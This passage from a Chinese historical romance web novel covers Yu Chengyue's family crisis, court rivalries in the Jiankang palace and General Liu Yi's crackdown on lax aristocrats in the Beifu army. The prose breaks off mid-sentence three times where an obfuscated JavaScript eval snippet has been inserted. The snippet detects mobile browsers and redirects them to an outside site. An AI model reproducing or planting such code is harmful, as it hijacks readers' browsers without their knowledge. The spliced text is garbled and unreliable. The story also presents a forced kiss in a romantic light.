乘月一惊,“你!你怎么这般凶残!” “我凶残!好!好!”刘毅气急反笑,一股无名火简直要冲出头顶。 刘毅翻身下马,像拎鸡仔一样把虞乘月从马背上拎了下来,乘月一个趔趄滚落在草地上。 “你干什么?” “你既然那么关心那个竖子,看来并不在意他对你做的事情!” 刘毅高大的身形向乘月笼去,乘月紧紧咬住双唇,眼神楚楚可怜,像含着一汪泉水,刘毅的大脑忽然间一片空白。 “呜呜呜!”虞乘月的唇瓣被刘毅生猛含住,只能用含混的声音表达抗议。 刘毅肆意品尝了一番,才恋恋不舍地放开了怀中的娇软,唇角微扬,神色餍足。 而乘月面色潮红,呼吸急促;刚逃离虎口,又被刘毅一番轻薄,她的心中积蓄了太多的委屈,“你就是个登徒子!” “我是登徒子,那你就是不知廉耻!” 不知廉耻!这莫大的侮辱,让乘月眼里的泉水,变成了晶莹的水滴,顺着娇嫩的脸颊簌簌滚落。 刘毅哪里料到刚刚还和自己抬杠的女子,忽然间就这样展现出了脆弱和悲伤。 乘月身上那种世家女的傲娇和自矜原本是他想要撕碎的面具,可现在,落泪的乘月只让刘毅心如刀绞。 “对不起,乘月。”刘毅有些无措。 “我要回家。” 如果不是虞云华酉时从国子学回家,要找姐姐温习功课,虞府众人可能都不知道他们的女公子已经失踪了。 季昭和阿南带着人在府中盘查;虎贲中郎将褚阳宇和手下的武士,在街道各处搜索,都没有乘月的踪迹。 直到深夜,刘毅才带着虞乘月回到了虞府,一石激起千层浪。 乘月面容憔悴,衣衫单薄,脖子上系着的棉布有明显的血迹。 “是你欺负了我阿姐!”虞云华气血冲顶,当场就要动手。 “住手!”好在虞仆射是个明事理的人,及时制止了自己莽撞的幼子。 乘月虽然看起来狼狈,但眼神中对刘毅的信赖是不会撒谎的。况且,刘毅与乘月已是未婚夫妻,根本没有必要做出掳掠之事。 刘毅并不在意少年的冲撞,他对着虞仆射拱手行礼,“下官在路上偶遇了女公子。天色已黑,下官放心不下,故将女公子送还回家。” 他略过了乘月和郗锦安的事情,匆匆道别。乘月知道,那是因为他不希望自己太难堪。 可是虞仆射是何等聪明的人,女儿深夜才归家,神色不安,定有内情!他支开其他人,单独询问,才知道了事情的真相。 “不肖女!我从来就不支持你和那个郗锦安来往,你竟然还相信那等巧言令色之人的言语!还敢与他相见!!还是我平日里对你的教导太过松散!” 幸好建军将军及时赶到,否则…… 虞仆射深深叹了口气,“从现在起,你就跪在宗祠里反省!” 晚间的宗祠空旷潮湿,木制的户牖并非密闭,晚风从四处灌入,不到一个时辰,虞乘月就晕倒了。 “你不去郗府讨个说法,却要惩罚我的女儿!”褚夫人看着病榻上脸色苍白的乘月,心中愤怒至极。 “难道要我大肆宣扬咱们的女儿和郗锦安私奔吗?如果不是皇后进言,上次的士族品评,虞家就降等了!如果这件事情闹开,虞家和建军将军的颜面何存?!” “颜面颜面!你心中只有虞家的颜面!你真是枉为人父!” “玉仪,不要急。那个郗锦安,我不会放过他!” “够了!不要在敷衍我了!我不想见到你!” 建康城的最中心,是那座由丞相王导主持修建的建康宫,宫殿巍峨,遮天蔽日,复道交错,歌舞不止,是一个汇集了风雅和绮靡的地方。 一辆垂挂着珍珠流苏的青牛车停在了建康宫的东掖门外,这是三品以上的外命妇进入到后宫的必经之路。 褚夫人从牛车里走了出来,按照礼制,所有外命妇进入宫廷,都必须下车步行或者换成步辇。不过皇后一向用低调约束家人,褚夫人在宫中很少乘坐步辇。 在黄门宦官的引导下,褚夫人来到了虞皇后居住的含章殿,这里绿柳含烟,斗拱飞檐,甚是清丽。 如果不是为了乘月,褚夫人是无论如何都不愿意来到这个让她生出无限遗憾的地方的。 虞皇后看着自年轻时起就压过自己一头的褚夫人。年轻的时候,无论是美貌还是才情,这位嫂嫂都是建康城舆论的中心,是无数世家子弟心中的月亮,隔在高远的云端,可望而不可即,只待有朝一日被建康宫中那位最尊贵的男子摘下。可她终究是陷入了情劫…… “嫂嫂,今日来宫中,是有什么事吗?” “是乘月…..”看着虞皇后关切的面容,褚夫人忽然犹豫了。她因为怒火攻心,贸然来到宫中,希望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285906|198435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 借皇后之手惩戒郗锦安。可是,冷静下来再一想,虞皇后会不会和她的哥哥一样的说辞?就如同上次,自己因为婚约一事求助于皇后,她一样为了家族的利益放弃了乘月;而且,乘月被人掳走的事情,越少人知道越好…… 再开口时,已不是来时的说辞,“殿下,乘月因为婚事和她父亲争执,被禁足了。她前段时间身体不适,医官建议去别业休养,这一禁足,身体怎么好得起来!可是,他父亲那里,我怎么劝都没用。” “乘月的身体怎么了?” “也不是什么大问题,只是年轻人贪凉,体虚脾弱罢了。” 这个嫂嫂,怎么还是这样冲动!一点小事就要闹得众人不安! “嫂嫂,婚姻之事,还是多开导开导乘月,不要囿于门户之见。至于禁足,嫂嫂不用忧心,我直接将乘月接到宫里不就好了?宫中太医众多,乘月很快就会痊愈的。”虞皇后笑道。 “多谢殿下。” “好了,到我练习书法的时候了,嫂嫂要不要来指点下?” 褚夫人知道,皇后已无意再理会自己了,“臣妇不擅书法,就不打扰殿下了。” 天子不知何时来到了含章殿,年近四十的他,气度雍容,蔼然春温,与其说是一国之君,莫不如说更像是哪家的富贵员外。 “陛下。”有小黄门恭恭敬敬地行礼,准备进殿禀报。 天子却挥了挥手,示意他退下。 “你的字写得越发飘逸了,倒有点王羲之的味道了。”天子停在了虞皇后身边,饶有兴致地看着这位娴静的皇后在光洁的蚕茧纸上挥毫泼墨。 虞皇后被天子的声音所惊,呼吸一顿,原本行云流水的笔触也跟着停住了。 “陛下何时来的?也没人禀报。”虞皇后嗔怪道。 “你我夫妻见面,还需要禀报?”天子打趣道。其实,天子时常在这个时候过来,虽然两人因为张贵妃的存在疏远了许多,但是天子敬重皇后贤德,依然会与这位结发妻子商量宫中诸事。 “刚刚有人来过了?”天子接过宫人斟好的茶水,恍若不经意般问了这句话。彼时他刚刚走到含章殿外的湖边,便远远看到一行人从含章殿离去了。为首之人虽看不清面容,但那袅袅红蕖的风姿,在二十年前就曾经让自己年轻的心跟着颤动,到如今也不可忘怀。 虞皇后心中冷笑,“哦?陛下看到了?是嫂嫂来宫中看我了。” “为何不多留一会儿呢?” “怎么?陛下想见一见她?” “怎么会呢?你也太多心了。”天子讪讪一笑。 天气渐,建康城水众多,水汽蒸腾,越发使人烦闷了。 郗宅里,郗家大公子郗锦安面色阴沉。 他提起一支狼毫,右手捏紧,手腕却有一丝不易察觉的颤抖。沾墨下笔,然而出现在白色宣纸上的字迹弯弯曲曲,毫无曾经劲道的笔力。 郗锦安皱着眉,将宣纸揉成一团!又不信邪地重新铺开一张白纸。 一次,两次,三次…… 无论他怎样运笔,都无法再现曾令世人惊艳的郗氏书法。 为什么!手腕上的伤已经好了,还是写不出让自己满意的字!! 汗水一颗颗在额头凝结又落下,将本就不堪入目的字晕染得更加混乱。 “公子,您的右手伤得太重,还是疗养一段时间再练吧!”一位美婢上前劝道。 “滚!”郗锦安一脚将人踹开。 “刘毅!刘毅!”郗锦安恨道,眼神狰狞! 12. 锦瑟 含章殿外绿柳成荫,阻挡了炽热的阳光,殿内又有从冰窖中调出的冰块,不断散发着丝丝寒气,将这座华丽庄重的宫殿与外面的炎炎暑气隔开。 乘月在虞皇后的指导下,将一束修剪好的石榴花插入琉璃瓶中。 “真不愧是我们虞家的女儿,这些技艺一点就会。”虞皇后笑道,眼中尽是对乘月的欣赏和肯定。 两人亲密的样子,倒不像是姑侄,而是一对母女。 “姑母不觉得乘月叨扰就好~” “叨扰?”虞皇后气得刮了刮侄女的鼻子,“还没出嫁就和姑母生分了?我记得你小时候还说,要姑母做你的母亲呢!” 那时候褚夫人时常与虞仆射冷战,虞皇后便把乘月接到宫中亲自照料,小乘月的孺慕之情便转移到了虞皇后身上,无比依恋这位温柔的姑母。 这段时间,乘月在宫中疗养,虞皇后对她的照顾更是无微不至,连昭明公主都有些醋意了。可是虞仆射已经派人传信,命乘月第二日就要返回虞府,这样惬意的生活很快就要结束了。 乘月不由地靠在皇后的肩上,“在我心中,您就和母亲一样的。只是姑母在宫中诸事繁多,我总不忍心再分姑母的心,但是我对姑母的感情,是从没变过的。” “殿下,张贵嫔求见。”小黄门的声音打断了这偌大的宫殿中难得的亲情。 “张贵嫔?她怎么会来这里?”乘月心中纳闷。 张贵嫔自恃盛宠,平日里少不了逾越之举,虞皇后干脆免去了她的拜见,两人称得上是井水不犯河水,皇后的含章殿里轻易是不会看到这个人出现的。 虞皇后收敛了音容,静候张贵嫔的到来。 “殿下。”张贵嫔款款行礼。团花纹的湖蓝色广袖襦裙清雅飘逸,却遮不住她身段的玲珑妖娆。张贵嫔的姿容虽称不上冠绝后宫,但她肤如凝脂,发长七尺,光可鉴人,眼眸之中流光溢彩,神态之生动,在后宫诸人中实属少见。 张贵嫔身后还跟着一位丽人,年龄与贵嫔相仿,大约二十五六的样子,一袭黑色暗纹上衫勾勒出她丰腴的身姿。黑色衣裳总会让人显得苍老,可在这位丽人身上,更显得她肌肤似雪,红唇如焰。 “这样的美貌,也许是某位受宠的宫妃吧?”乘月心想。 这位美人仿佛与乘月心有所感一般,她的目光看向乘月,微笑着点头示意;乘月意识到自己的注视或许有些无礼,赶紧回以微笑。 张贵嫔并无什么特别的事,她与虞皇后寒暄完毕,便转向了乘月,“这位想必就是殿下的侄女,虞仆射的女公子吧?” “正是。” “果然如传说中那般美貌,难怪,难怪!”张贵嫔感叹道。 虽说是称赞的话语,可在乘月听来,却感觉有些奇怪——张贵嫔在感叹什么?为什么做出这种欲说还休的样子? “难怪,我那傻弟弟为了你,哎……”那位黑衣丽人叹了口气,音量不大,但在场的几人刚好能够听到。 乘月脸色一变。 “哎哟,忘了介绍了,这位是郗氏的女公子郗锦瑟,妾身未入宫时的好友。”张贵嫔适时地介绍道。 郗氏锦瑟?莫非是郗锦安的姐姐?据说郗锦安有一位姐姐,很早就嫁到了江陵,后来寡居在家。 虽然有些疑惑,乘月的行礼却丝毫不错,颔首浅蹲,如白鹤般优雅。 “哎呀呀,这等美貌,这等身段,怎么随意许了那丹徒的武夫!”张贵嫔以手掩口,言语间似是遗憾,但眼角的笑意却泄露了她的幸灾乐祸。 虞皇后眉头皱起,“张贵嫔慎言,入宫这么久了,也该懂些规矩。丹徒的建军将军,不是你能戏谑的!” “瞧瞧,陛下总是说太纵着我了,才让我这般口无遮拦,殿下莫怪。” 她拉出了天子作为挡箭牌,虞皇后也无可奈何,“你此番前来,还有何事?” 还能有何事?不过是来嘲讽虞家的败落!仗着累世公卿的地位,无论是宫中还是朝堂上,都将张氏踩在脚下。如今,可不一样了! 张贵嫔的面上愈发娇笑,“倒也无事,只是我们听说女公子身体不适,特意来看望。” 张贵嫔接过郗锦瑟递来的檀木盒,“这是锦瑟调制的香料,有宁神的功效,还望殿下和女公子莫要嫌弃。” “这是西域进贡的天山雪莲,是陛下赏下的。如果不够,尽可以派人去取,我的清凉殿还有很多。” 貌似好意,可句句都是在炫耀她的荣宠。 “多谢费心。”虞皇后并未接手张贵嫔递来的木盒,只点点头,已有身边的女官将盒子接了过去。 “呀!差点忘了,我哥哥答应把金鸾许配给锦瑟的弟弟了,这桩可是一桩大喜事,殿下觉得呢?” 难怪这个张贵嫔忽然来含章殿,原来是要炫耀张家和郗氏一族攀上了关系啊!虞皇后只淡淡一笑,并不说什么。 而乘月心中却泛起了巨浪。 原来,那天被囚禁在阁楼,听到的张女公子,竟然是张金鸾! 那个郗锦安,一面用花言巧语哄骗囚禁自己,一面又和其他女郎议亲,真是人面兽心! 张贵嫔见皇后不语,更加得意:你家的女郎再如何名动京华,最后还不是得远嫁丹徒,还是个寒门出身的武将!那郗氏的嗣子,即使一开始被你家的女郎吸引,现在不也是上赶着来求取我的金鸾? 她装作对乘月格外喜爱的样子,握住了乘月的手,“女公子这般美貌,嫁去丹徒也是可惜,殿下何不将她留在宫中,与我们作伴......” “放肆!”虞皇后终于忍受不了张贵嫔的僭越,“这种有违人伦的话你也说得出口!” 张贵嫔轻笑一声,“哎呀呀,殿下怎么如此动怒,我不过是心疼女公子罢了,殿下想到哪里去了。” 郗锦瑟静静地立在一变,并无心关注张贵嫔和皇后斗法,而是暗中观察着那位名动京华的虞氏女郎。 她寡居多年,但并非清心寡欲的女道士。那些外表俊雅的名门王侯,实则早就被五石散弄坏了身体,中看不中用,所以她更偏好那些在行伍间摸爬滚打的武将。早在江陵,她就听闻了刘毅的威名,一直心神往之,还没来得及暗通款曲,便听到了他即将迎娶虞氏女郎的消息。 而见到虞乘月的刹那,饶是一向自负美貌的郗锦瑟,也不得不感叹一句,佳人难再得! 不过,这位女郎的容颜倾城不假,可是和自己相比,神色未免有些过于素净了,毫无让人探究的欲望。男人在最初的动心后,很快就会对这样稚嫩的女郎失去兴趣,转而臣服于自己的石榴裙下。 郗锦瑟的嘴角不经意地扬起,她很有信心。 张贵嫔已经离去许久了,宫人们将隔扇和窗棱都打开了,可是张贵嫔留下的那股异香却久久挥散不去。 “姑母,张贵嫔这样无礼,您为何不惩治她呢?” 汉代以来,帝后同尊,即使是皇帝宠幸的妃嫔,皇后也是有权处置的。 “你有什么想法?”虞皇后将一枚黑色的棋子放到两颗白棋之间的分投 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285907|198435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处。 “不如挑选与张贵嫔模样和性情相似的女子,分散陛下的宠爱?”这是她在史书上看到的手段。 “还有呢?” “嗯,听宫人们说,陛下常夸张贵嫔的清凉殿的香气舒缓,姑母宫中不妨也用上些陛下喜爱的香料?” “模仿张贵嫔来获得陛下的欢心?”虞皇后笑了,“这些也不难,只是我不觉得到了不得不用这些手段和张贵嫔竞争的时候。” “乘月,你觉得,一个女人,最重要的是什么? “是,爱情吗?” “不是。”虞皇后果断地摇摇头。 “那,是才华吗?”多少世家女每日习字作画,所求的不就是在诗文上有所造诣,以慰余生,甚至像卫夫人那样名垂青史! “才华虽然很好,但也不是女人最重要的。” “那,还能是什么呢?” “家族。” 家族?乘月的一双大眼睛忽闪忽闪,可爱又懵懂。 虞皇后看出了乘月的疑惑,“你的母亲,虽然与父亲不和,常常避居于桃花叠浪,可是你的父亲,整个虞家有没有怠慢于她?” “没有。” “不仅没有,虞家宗妇该有的她一样不少。” 这确实是事实,父亲虽屡屡失望于母亲的淡漠,但家中诸事,总是第一时间与母亲商议。 “那是因为,她是褚家的女儿。只要褚家还在,你的舅舅还是御史中丞,整个虞家就没有人敢怠慢她。” “只要虞氏一族永葆昌盛,我在后宫之中就无人能够撼动。张贵嫔虽然受宠,可是她害怕啊,张氏在朝中并无根基。而帝王的心是最不可测的东西,他的宠爱又能有多久呢?” “因为害怕,才会兴风作浪吗?”乘月问。 “是的。她和张侍中想尽办法结交京中的世家,但是那些家族又怎么会把既得的利益分给他们?” “可是,他们不是和郗家定亲了吗?” “郗氏,你父亲都看不上眼。”虞皇后不屑道,“他们还曾经暗示过你父亲想求取你,简直是痴人说梦!” 原本郗氏在军中的势力不容小觑,但是经过几次平叛,他们家的儿郎畏首畏尾,延误军机,不堪重用,全靠刘毅力挽狂澜,而郗氏的兵权也尽皆被刘毅收入囊中。 乘月低下头,有些后怕,不敢再说什么。 “没想到,郗家竟然和张氏搅合在了一起!这一代的郗氏家主真是昏了头。郗氏世代忠良,陛下对他们很是敬重,他们的很多旧部在各地都有实权,如果能好好经营,依旧可以在京都的一流世家占据一席之地,哪里想到他们竟然选择了张氏!” “张贵嫔想用天子的宠爱刺激我,让我自乱阵脚。可像她这样的女人,宫中不知道有多少!这些年,我将宫中诸事处理得当,内外和谐,只要我不出大错,天子都不可能为一个可以被替换的宠妃而废后。而我又何必为了一个宠物,与天子生嫌隙呢?过不了几年,张氏年老色衰,到那时,无论是她的奇香,还是她的僭越任性,曾经所有被天子喜爱的地方,都会成为她被厌弃的理由。根本无需我动手。” “乘月,姑母只想你记住,女人最重要的是她的家族。”虞皇后看着乘月,眼神是乘月从未见过的深沉。 夜色已深,我们的建军将军刘毅却无法入眠,也许是军营中的被褥过于坚硬的缘故吧。 明明第二天,他还要到各处去巡视,可是闭上眼睛,却是那晚的月光下,含着泪水的楚楚可怜的美人。 13. 梦中情事 水汽氤氲下的建康,经过了一整天的日晒,有一股难以言说的烦闷;而比这更燥热的,是建军将军的营帐。 刘毅的眼前,一抹袅娜的身影挥散不去。含泪的眼眸,无辜的容颜,比平日里华丽的妆容更让人怜惜。而怜惜,比赤裸裸的勾引,更让男子动心。 刘毅小心翼翼地,一层层褪去乘月的外衫和里衣,只留下了一件薄如蝉翼的裹胸,粉色的并蒂莲花,含苞欲放,遮不住的丰腴细腻。 在肢体的触碰中,那支幽暗的檀木发簪掉落了,乌云般的长发垂散在她的肩前,越发衬得美人的脸颊莹润如玉,楚楚可怜; 美人含羞挣扎,微微的喘息,如同黑暗中诱人的歌声,引诱着刘毅一点点从理智的高峰坠落。 刘毅只觉得胸口有一团烈火越烧越旺,他已成了一头猛兽,在烈火的刺激下发狂! 这是一种从未有过的快乐,这种快乐让刘毅丧失了所有思考的能力,只能跟随身体的本能律动。 一夜风雨,花瓣飘零,还残留着昨夜的雨水和晶莹的露珠。 “将军….”美人依偎在侧,肌肤细润如脂,面色泛着绯红,比以往任何时候都要妩媚娇艳;她的眼中氤氲着多情的雾气,似是嗔怪,又似是羞怯…… “乘月!”刘毅满头大汗,醒来却发现身边空无一人,只有冷硬的床榻相伴…… 刘毅的心中忽然生出了无限的寂寞,以及懊恼:刘毅啊刘毅!亏你还是堂堂建军将军,竟然做出这样的事情! 第二日清晨,军营里的亲兵看到的,是一个脸色铁青的将军。 大家胆战心惊,赶紧回想自己这些时日有没有做错什么,生怕触怒了这位凶猛的武将!气氛虽有些低沉,但北府兵的巡查还是要照旧的。 北府兵原本是郗氏一族控制的军事力量。 永嘉之乱后,中原的百姓南逃沦为流民,他们的流民组织,是南北乱局中不可小觑的力量。 王敦叛乱,京都缺少军队支援,郗鉴利用丹徒的流民队伍抵御叛军,拱卫王室;丹徒又名“北府”,这支队伍就被称为北府兵。自然的,北府兵的兵权就一直在郗氏的手中。 再后来,刘毅因为在平定孙恩造反和蛮族之乱中的功绩,成为了北府兵的实际统帅。 北府兵的主力镇守在丹徒,防范各地军阀叛乱;还有一支精锐力量驻扎在建康,刘毅每隔一段时间都会前往巡查。 而从上一次巡查到现在,已有近两年之久了。 在五胡乱华和永嘉南渡的残酷时代,失去了土地、家园和亲人的流民们,面对着豺狼虎豹,用刀和血为自己博出了一条命;由他们组成的北府兵个个凶猛无比,连北方的胡人听到这这支队伍的名号都会忍不住发抖。 可是,如今驻守在京都的北府军分支,见惯了京都的繁华,也多少沾染了些京都的浮靡气息;京都世家为了家族利益,将自家的子弟们输送到这里,名义上是历练,实际上这些贵族公子有几人受得了军中?不过是做做样子,借北府军的声望镀层金罢了。这支北府兵的分支,早已不是那个在丹徒刀口嗜血、筚路蓝缕的铁血队伍了。 刘毅在亲兵的陪同下暗中巡查了半日,眉头肉眼可见地紧蹙了起来——这支驻守在京师的队伍虽说不像其他府兵那般散漫,但日常的操练比起丹徒的部队来说还是松懈了很多;而且,蹴鞠、斗狗、赌钱......这些在丹徒驻军被禁止的行为,在京都的北府军却随处可见。 刘毅走进一个尉官的营帐,扑面而来的酒气让他的怒气一下子升到了顶点! 北府军明令禁酒,可眼前这个尉官,竟然敢在当值的时候在营帐酗酒! “大人,大人!”尉官身边的亲信赶紧提醒——这个不发一言的不速之客,眉眼冷峻,目若寒星,气场之强,压迫得人喘不过气来!更别提他手中还握着一把长柄双刃的青铜陌刀,刀刃泛着冷光,似乎下一秒就要把人斩于刀下。 “什么事!慌慌张张,像什么样子!”酗酒的尉官头也不抬。 “大人,有人来了!” 尉官略微抬眼,却并不在意,“我当是谁!原来是建军将军啊!” “既然知道是建军将军,还不速速起身!”刘毅的亲兵呵道。 这尉官却置若罔闻,他手握木勺,随意舀起一勺浊酒,“算起来,建军将军还是我妹婿呢?何不与我共饮?” 原来此人是褚武江的侄子,刚刚被安排到北府军中以获取主官资历,他自认出身顶级世家,哪里把寒门出身的刘毅放在眼里? 刘毅的脸色已经不能用铁青来形容了。他二话不说,将酒缸中的酒全部淋在了尉官头上。 “来人,将此人杖责三十军棍!” “大人,他是褚家的子弟,褚家与虞家是姻家,您看......”亲兵劝道。 “不行!必须严惩以儆效尤!我北府军,不是那等士族尸位素餐的地方!” 第二个营帐里,倒是没有那冲天的酒气,摆设也算整洁。可是,当值的参军并未着武官的绔褶,而是穿着更为日常和清凉的褶衣,悠哉地吟诵着诗歌,身边还有一位垂髫小童在为他摇动羽扇。 亲兵轻咳了两声,这位参军听到声音,抬起头来,倒是认出了来者是他们的主帅,起身行礼,还算恭敬。 刘毅扫了一眼他身前的案几,茶盏、香炉,以及《南华经》之类的书籍。 “你的职位是什么?”刘毅问。 “回将军,属下是骑曹参军。” “骑曹参军的职责是管理马匹。我问你,目前这支驻守京师的北府军里,有多少匹马?” 那参军一愣,反问道:“大人,驻守京师的北府军马匹众多,属下怎么可能知道具体的数量?” 刘毅没想到竟然会有人如此回答,又耐着性子问道:“那军马最近一个月有无生病和死亡?报病和死亡的数量分别是多少?” 这位参军依旧淡定,“将军,我连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285908|198435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活马有多少匹都不知道,又怎么能够知道死马和病马的数量呢?” 亲兵在一旁听得冷汗琳琳,玩忽职守是建军将军最不能容忍的事,这参军一问三不知,简直是在挑战将军的底线! 果然,刘毅气得火冒三丈,他大喝一声,“来人,将他给我拖下去,军棍二十!” 这位优雅的参军终于不淡定了,他拼命挣扎,大喊道,“我乃范阳张氏!谁敢打我!?” “打的就是你!” …… 一番视察下来,久经沙场的刘毅都有些头痛了。短短两年的时间,京都北府军的军纪竟然已经松弛到这种程度!看来,那些大家族的渗透不是一般的严重!这次在建康停留的时间要比预料的长一些了。 郗府的西院,是一个略显空寂的地方,这里的主人,是郗氏已经出嫁的女儿,郗锦瑟。 郗锦瑟并不是一个偏好独处和孤寂的女郎,只是多年前夫婿逝世,她不得不收起了爱好繁华热闹的模样,用黑色的衣裙隐藏起自己的秘密,只是衣裙上的暗纹,又在诉说着她的不甘…… 郗锦瑟静静地坐于铜镜前,铜镜里映出的是一张芙蓉般美丽的容颜。 如花美眷,似水流年。郗锦瑟那双美丽的眼睛,已经开始出现岁月的痕迹,每当她展露笑颜的时候,一些细微的皱纹就会浮现在她的眼底。 从前,郗锦瑟的夫婿还活着的时候,常常会夸赞她有一双勾人的眼睛,让自己欲罢不能;而郗锦瑟则忧虑青春易逝,再好看的眼睛都会有生出皱纹的一天。每当这时,郗锦瑟的夫婿就会轻轻抚上她的眉眼,安慰她。 “皱纹也可以是美的呀!”他说。 “皱纹怎么会是美的呢?”年轻的郗锦瑟娇嗔道。 “锦瑟,美和丑的标准是人制定的,因此这个标准并不是永恒的。在我看来,你是这个世界上最好的女郎,那么你就是美的标准,生长在你面容上的皱纹也是美的。” “真的吗?” “当然是真的!不要怕,即使是老了,我也会陪着你。”他看着郗锦瑟的眼睛,认真地承诺。 然而,承诺,在命运面前是那么的微芒…… 可她忘不了夫君的话语是如何的温柔,忘不了他的臂弯是怎样的温暖……这些柔情支撑着她在丧夫后度过无数个孤寂的夜晚。 但是,江陵的冬天真的好冷好冷。已故的夫婿,遗留的感情,终究无法在黑暗中支撑太久。 她太寂寞了,她想要再有一个温暖的依靠,她回到了京都。 可都,京都也并非温情的地方,那些狂蜂浪蝶尽是为猎艳而来,她再也没有感受过亡夫给与她的真情。 铜镜里,一颗晶莹的泪珠从郗锦瑟的眼角落下。 她低下头,拭去了泪水。如果没有人心疼她的脆弱,泪水便是最不需要的东西。 郗锦瑟展开雪白的纸张,研墨下笔。 “来人,将这封信交给北府军刘毅。” 14. 风波 起初,人们只当是建军将军例行检查,谁也不当回事;毕竟,京都是各大家族的京都。 自衣冠南渡以后,皇室失势,元帝在建康举步维艰,他靠着江南士族的扶持才稳定了局面。可以说晋室的皇位有那些世家一半的功劳,历任帝王几乎无人敢挑战这些家族的权威。 可是,谁知道这个出身低微的小子,竟敢将各个家族在北府军历练的年轻一辈连根拔起,丝毫不给这些家族留情面! “叔父!这个刘毅可是在打我们褚家的脸面,您可要不能不管啊!”那位被杖责三十的尉官拄着拐向褚武江告状,一张被酒色掏空了的脸因为愤怒而浮涨,有点像滑稽戏里的丑角。 虎贲中郎将褚阳宇这时候已经散值,他陪在父亲的身旁,勉强忍住笑意,心里却觉得,这样沉湎酒色的人,如果是自己,也绝不会容忍他待在北府军中的。 “这个刘毅太可恨了!我们家那位兄长,是个极为风雅的人物,不过是看些南华经,偶尔修下道家的辟谷术,这可是我们祖上留侯的遗风,怎么能这么粗蛮地对待他!?”张金鸾向未婚夫郗锦安抱怨。 郗锦安看着张金鸾愤愤不平的面容,静静地等待她说完。 但是他的心里却在想,他们张氏一族自称是留侯张良的后人,怎么留侯的智慧一点都没遗传到呢?军中哪里是修道的地方?留侯那是为了功成身退,他跟随汉高祖征战时可没见过他修道啊…. 妄图攀附留侯抬高自己的身价,可惜,他们的庸俗是怎么都遮不住的…… “你说,该怎么办!我的兄长就这么白白被打了?你说嘛!”张金鸾撒起了娇。 “啊!”郗锦安回过神,举起右手,这双手已经无法再写出令人惊艳的书法了,但轻轻撩起女郎额前的碎发还是轻而易举的,“金鸾,陛下最宠爱贵嫔娘娘,只要娘娘向陛下哭诉,那个刘毅还能有好果子吃?” 而我们那位被连番吐槽的建军将军刘毅,此刻身在虞府,心情甚至还有些愉悦。 是的,因为他要见到一个人了。当然,他的理由是探望虞仆射。 虞府一切如旧,可刘毅的未婚妻虞乘月却不是记忆中那明艳娇媚的模样。 “乘月见过将军。”虞乘月款款行礼,暗花褶裙荡漾着胭脂色的波光,衬得她的脸色有些苍白。 “乘月,还不为将军斟茶?”虞仆射比之前的几次见面都要殷勤。 “将军,请用茶。”虞乘月微微颔首,噙着恰到好处的笑意,顺从而疏离,这让刘毅想起了曾经看过的木偶戏,美丽却没有灵魂。 “谢过女公子。”刘毅双手抱拳行礼,态度恭敬,一身干练的玄色绔裼,与京都士族飘逸的大氅截然不同。 “上次之事,多亏有将军相助,才能保得乘月平安。是乘月有错在先,我已经将她禁足,让她每天抄写女戒反思,直到你们成婚。” 虞仆射知道,女儿与人私会,任何男子都不会不介意,与其等他们成婚后这件事成为女儿被人拿捏的污点,还不如自己先将此事说开,并给足致歉的姿态,如果刘毅言语中有轻视和贬低,即使于家族无益,自己也要考虑要不要将女儿嫁给他了。 刘毅的余光看向退于一隅的乘月,方才接过她递来的茶盏,客气疏离之感和那天晚上遇到的害怕又依恋自己的女郎全然不同。他突然怀念起那个不算美好的夜晚,那个在自己的怀中瑟缩发抖的女孩。 刘毅郑重地说道,“乘月年幼,不知世事险恶,故而被奸人所惑,这不怪她,请大人不要再责罚于她了!” 此言一出,虞仆射睁大了眼睛!他原以为最好的结果是刘毅会云淡风轻将此事揭过,哪里会想到,这位年轻人竟然为女儿求情。虞仆射也不是傻子,刘毅的言辞恳切,并不似作伪。 乘月低着头,这是她第二次听到刘毅说出这样的话了。那件事情发生后,父亲勃然大怒,母亲虽然心疼自己的遭遇,但也有些责怪自己的意思。 从小到大,人们总是以世家女的标准要求自己,她好像是被套在壳子里,她的笑容、语言、步伐,一举一动都不能出现纰漏,她已经快要忘记真实的自己是什么样了。 而在和刘毅相处的不多的时辰里,她却能哭得不成体统,笑得恣意盎然……. 虞仆射满意地看着眼前这个英姿勃发的青年,起码他不是一个古板的不通人性的人,女儿未来的生活,不会太差。 “你此次回京,可是为了北府军?” “正是。” 虞仆射沉吟片刻,“京中形势复杂,不比丹徒,还是不要太较真,给那些人一些面子。” 他太清楚那些家族的子弟们是怎样的作风了。眼前的年轻人从尸山血海中厮杀出来,恐怕很难容忍。可是,水至清则无鱼,要想在官场上活下去,他们都不得不违背一些原则。 “谨遵教诲。”刘毅从善如流,心里却想,晚了,该得罪的都得罪完了。 